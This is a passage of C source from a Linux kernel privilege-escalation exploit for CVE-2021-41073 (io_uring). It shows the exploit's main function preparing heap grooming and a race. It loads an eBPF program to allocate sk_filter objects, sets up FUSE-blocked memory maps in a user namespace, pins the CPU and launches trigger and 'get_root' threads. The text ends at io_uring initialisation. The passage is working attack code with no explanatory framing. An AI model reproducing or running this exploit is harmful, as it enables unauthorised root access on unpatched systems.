Function main

CVE-2021-41073/exploit/exploit.c:427–554

}

int main(int argc, char **argv, char **envp) 
{
    int lol_fd = -1;
    cpu_set_t mask = {0};
    struct io_uring_params params = {0};
    struct io_uring_sqe* sqe = NULL;
    struct io_uring_cqe* cqe = NULL;
// 0. initial
    pthread_mutex_lock(&lock1);     // block all sub-threads
    pthread_mutex_lock(&lock2);
    pthread_mutex_lock(&lock3);
    pthread_mutex_lock(&lock4);
    pthread_mutex_lock(&lock5);

    lol_fd = open("lol.txt", O_RDWR | O_CREAT, 0666);
    if(lol_fd < 0)
    {
        printf("[-] failed to create setxattr file!\n");
        goto done;
    }
    printf("[+] set/getxattr file created\n");
// 0-1. setup bpf   -    load eBPF program (in step 8, attach to this prog_fd to alloc sk_filter object)
    if(0 != setup_bpf())
    {
        printf("[-] failed to setup eBPF!\n");
        goto done;
    }
    printf("[+] bpf program loaded created\n");
// 0-2. setup FUSE   -    mmap bloked address
    fargs_evil[0] = argv[0];
    unshare_setup(getuid(), getgid());      // !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
    if (0 != setup_fuse())
    {
        printf("[-] failed to setup FUSE\n");
        goto done;
    }
    printf("[+] FUSE maps created\n");
// 0-3. setup affinity
    CPU_ZERO(&mask);
    CPU_SET(1, &mask);
    sched_setaffinity(0, sizeof(cpu_set_t), &mask);
// 0-4. trigger threads / get_root threads / setxattr & block threads
    create_io_uring_threads();
    create_setxattr_threads();
// 0-5. open /proc/self/maps   -   procmaps_fd: use uring to read
    procmaps_fd = open("/proc/self/maps", O_RDONLY);
    printf("[+] opened /proc/self/maps\n");
    if (0 > procmaps_fd)
    {
        printf("[-] failed to open /proc/self/maps!\n");
        goto done;
    }
// 1. initialize io_uring
    if (0 != io_uring_queue_init_params(2048, &ring, &params))          // io_uring_queue_init_params() —— Initializes `io_uring` for use in your programs.   SQ length - 2048
    {
        printf("[-] failed to initialize io_uring!\n");
        goto done;
    }